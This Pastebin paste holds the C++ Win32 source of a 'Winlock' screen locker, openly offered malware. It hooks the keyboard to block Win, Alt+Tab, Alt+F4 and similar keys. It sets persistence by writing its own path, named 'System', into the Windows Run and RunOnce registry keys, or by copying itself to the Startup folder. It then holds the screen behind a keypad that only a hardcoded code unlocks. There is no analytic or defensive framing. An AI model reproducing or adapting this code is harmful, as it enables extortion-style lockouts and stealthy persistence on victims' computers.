Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma comment(linker,"\"/manifestdependency:type='win32' \
- name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
- processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
- #include <windows.h>
- #include <tchar.h>
- #include "resource.h"
- #include <strsafe.h>
- #include <winreg.h>
- #pragma comment(lib, "winmm.lib")
- HINSTANCE hInst;
- HWND hWnd;
- HWND hBtn1, hBtn2, hBtn3, hBtn4, hBtn5, hBtn6, hBtn7, hBtn8, hBtn9, hBtn0, hDelBtn, hOKBtn;
- HWND hLabel;
- HHOOK hHook;
- LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
- int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam) // Блокировка системных клавиш
- {
- static bool KeyStroke;
- static KBDLLHOOKSTRUCT* p;
- if (nCode < 0) return (int)CallNextHookEx(NULL, nCode, wParam, lParam);
- KeyStroke = FALSE;
- if (nCode == HC_ACTION)
- {
- switch (wParam)
- {
- case WM_KEYDOWN:
- case WM_SYSKEYDOWN:
- case WM_KEYUP:
- case WM_SYSKEYUP:
- p = (KBDLLHOOKSTRUCT*)lParam;
- KeyStroke = ((p->vkCode == VK_LWIN) || (p->vkCode == VK_RWIN)) ||
- ((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
- ((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
- ((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)) ||
- ((p->vkCode == VK_F4) && ((p->flags & LLKHF_ALTDOWN) != 0)) ||
- ((p->vkCode == 0xC0) && ((MOD_CONTROL + 0x10) != 0));
- break;
- default:
- break;
- }
- }
- if (KeyStroke)
- return 1;
- else
- return (int)CallNextHookEx(hHook, nCode, wParam, lParam);
- }
- BOOL RegClass(WNDPROC Proc, LPCTSTR szName, UINT brBackground)
- {
- WNDCLASS wcex;
- wcex.style = wcex.cbClsExtra = wcex.cbWndExtra = 0;
- wcex.lpfnWndProc = Proc;
- wcex.hInstance = hInst;
- wcex.hIcon = LoadIcon(wcex.hInstance, IDI_APPLICATION);
- wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
- wcex.hbrBackground = (HBRUSH)(COLOR_WINDOWTEXT);
- wcex.lpszMenuName = NULL;
- wcex.lpszClassName = szName;
- return (RegisterClass(&wcex) != 0);
- }
- int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpszCmdLine, int nCmdShow)
- {
- MSG msg;
- hInst = hInstance;
- if (!RegClass(WndProc, L"WinlockApp", COLOR_WINDOW))
- return FALSE;
- hWnd = CreateWindowEx(NULL/*WS_EX_TOOLWINDOW | WS_EX_TOPMOST*/, L"WinlockApp", L"Winlock", WS_VISIBLE | WS_MAXIMIZE /*| WS_POPUP*/, 0, 0, 1200, 900, 0, 0, hInstance, 0);
- hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle(NULL), 0);
- TCHAR pathToVirus[MAX_PATH];
- bool flag = false;
- GetModuleFileName(NULL, pathToVirus, MAX_PATH);
- HKEY hKeys;
- if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
- {
- RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
- RegCloseKey(hKeys);
- flag = true;
- }
- else {
- if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
- {
- RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
- RegCloseKey(hKeys);
- flag = true;
- }
- else {
- if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
- {
- RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
- RegCloseKey(hKeys);
- flag = true;
- }
- else {
- if (ERROR_SUCCESS == RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
- {
- RegSetValueEx(hKeys, L"System", 0, REG_SZ, reinterpret_cast<const BYTE*>(&pathToVirus), sizeof(pathToVirus));
- RegCloseKey(hKeys);
- flag = true;
- }
- }
- }
- }
- if(!flag){
- DWORD size = 1024;
- TCHAR buf[1024];
- GetUserName(buf, &size);
- LPCWSTR username = buf;
- TCHAR nullPath[1024] = L"C:\\Users\\";
- LPCWSTR startupPath = L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.exe";
- StringCchCat(nullPath, 1024, username);
- StringCchCat(nullPath, 1024, startupPath);
- LPCTSTR pathToFile = nullPath;
- CopyFile(pathToVirus, pathToFile, FALSE);
- }
- //mciSendString(L"open \"1.mp3\" type mpegvideo alias mp3", NULL, 0, NULL);
- //mciSendString(L"play mp3 repeat", NULL, 0, NULL);
- ShowWindow(hWnd, SW_SHOWDEFAULT/*SW_SHOWMAXIMIZED*/);
- UpdateWindow(hWnd);
- while (GetMessage(&msg, 0, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return msg.wParam;
- }
- LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
- {
- int password = 131003, userpass;
- TCHAR inputText[] = L"";
- int iWidth = GetSystemMetrics(SM_CXSCREEN); // разрешение экрана по горизонтали
- int iHeight = GetSystemMetrics(SM_CYSCREEN); // разрешение экрана по вертикали
- int btnWidth = 70; //button's Width
- int btnHeight = 30; //button's Height
- PAINTSTRUCT ps;
- HBITMAP hBitmap;
- BITMAP bm;
- HDC hDC;
- HDC hMemDC;
- switch (msg)
- {
- case WM_PAINT:
- hDC = BeginPaint(hWnd, &ps);
- hMemDC = CreateCompatibleDC(hDC);
- hBitmap = LoadBitmap(hInst, MAKEINTRESOURCE(IDB_BITMAP1));
- GetObject(hBitmap, sizeof(BITMAP), &bm);
- SelectObject(hMemDC, hBitmap);
- BitBlt(hDC, iWidth / 2 - bm.bmWidth / 2, iHeight / 2 - bm.bmHeight / 2, bm.bmWidth, bm.bmHeight, hMemDC, 0, 0, SRCCOPY);
- DeleteDC(hMemDC);
- ReleaseDC(hWnd, hDC);
- DeleteObject(hBitmap);
- EndPaint(hWnd, &ps);
- break;
- case WM_CREATE:
- mciSendString(L"1.wav", NULL, 0, NULL);
- hBtn1 = CreateWindow(L"button", L"1", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8, iHeight*3/4, btnWidth, btnHeight, hWnd, HMENU(1), hInst, NULL);
- hBtn2 = CreateWindow(L"button", L"2", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth, iHeight*3/4, btnWidth, btnHeight, hWnd, HMENU(2), hInst, NULL);
- hBtn3 = CreateWindow(L"button", L"3", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4, btnWidth, btnHeight, hWnd, HMENU(3), hInst, NULL);
- hBtn4 = CreateWindow(L"button", L"4", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8, iHeight*3/4+btnHeight, btnWidth, btnHeight, hWnd, HMENU(4), hInst, NULL);
- hBtn5 = CreateWindow(L"button", L"5", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth, iHeight*3/4+btnHeight, btnWidth, btnHeight, hWnd, HMENU(5), hInst, NULL);
- hBtn6 = CreateWindow(L"button", L"6", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+btnHeight, btnWidth, btnHeight, hWnd, HMENU(6), hInst, NULL);
- hBtn7 = CreateWindow(L"button", L"7", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8, iHeight*3/4+2*btnHeight, btnWidth, btnHeight, hWnd, HMENU(7), hInst, NULL);
- hBtn8 = CreateWindow(L"button", L"8", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+btnWidth, iHeight*3/4+2*btnHeight, btnWidth, btnHeight, hWnd, HMENU(8), hInst, NULL);
- hBtn9 = CreateWindow(L"button", L"9", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+2*btnHeight, btnWidth, btnHeight, hWnd, HMENU(9), hInst, NULL);
- hBtn0 = CreateWindow(L"button", L"0", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8, iHeight*3/4+3*btnHeight, 2*btnWidth, btnHeight, hWnd, HMENU(0), hInst, NULL);
- hDelBtn = CreateWindow(L"button", L"C", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8+2*btnWidth, iHeight*3/4+3*btnHeight, btnWidth, btnHeight, hWnd, HMENU(100), hInst, NULL);
- hOKBtn = CreateWindow(L"button", L"0K", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON, iWidth/8, iHeight*3/4+4*btnHeight, 3*btnWidth, btnHeight, hWnd, HMENU(1000), hInst, NULL);
- hLabel = CreateWindow(L"static", NULL, WS_CHILD | WS_VISIBLE, iWidth/8, iHeight*3/4-16, 3*btnWidth, 16, hWnd, NULL, hInst, 0);
- break;
- case WM_COMMAND:
- switch (LOWORD(wParam))
- {
- case 0:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"0");
- SetWindowText(hLabel, inputText);
- break;
- case 1:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"1");
- SetWindowText(hLabel, inputText);
- break;
- case 2:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"2");
- SetWindowText(hLabel, inputText);
- break;
- case 3:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"3");
- SetWindowText(hLabel, inputText);
- break;
- case 4:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"4");
- SetWindowText(hLabel, inputText);
- break;
- case 5:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"5");
- SetWindowText(hLabel, inputText);
- break;
- case 6:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"6");
- SetWindowText(hLabel, inputText);
- break;
- case 7:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"7");
- SetWindowText(hLabel, inputText);
- break;
- case 8:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"8");
- SetWindowText(hLabel, inputText);
- break;
- case 9:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"9");
- SetWindowText(hLabel, inputText);
- break;
- case 10:
- GetWindowText(hLabel, inputText, 26);
- _tcscat(inputText, L"9");
- SetWindowText(hLabel, inputText);
- break;
- case 100:
- SetWindowText(hLabel, L"");
- break;
- case 1000:
- GetWindowText(hLabel, inputText, 26);
- userpass = _tstoi(inputText);
- if (userpass == password)
- {
- MessageBox(hWnd, L"Success!", L"SuccessWnd", NULL);
- exit(0);
- }
- else
- {
- SetWindowText(hLabel, L"");
- MessageBox(hWnd, L"Wrong password", L"ERROR", NULL);
- }
- break;
- }
- break;
- case WM_DESTROY:
- PostQuitMessage(0);
- return 0;
- break;
- }
- return DefWindowProc(hWnd, msg, wParam, lParam);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement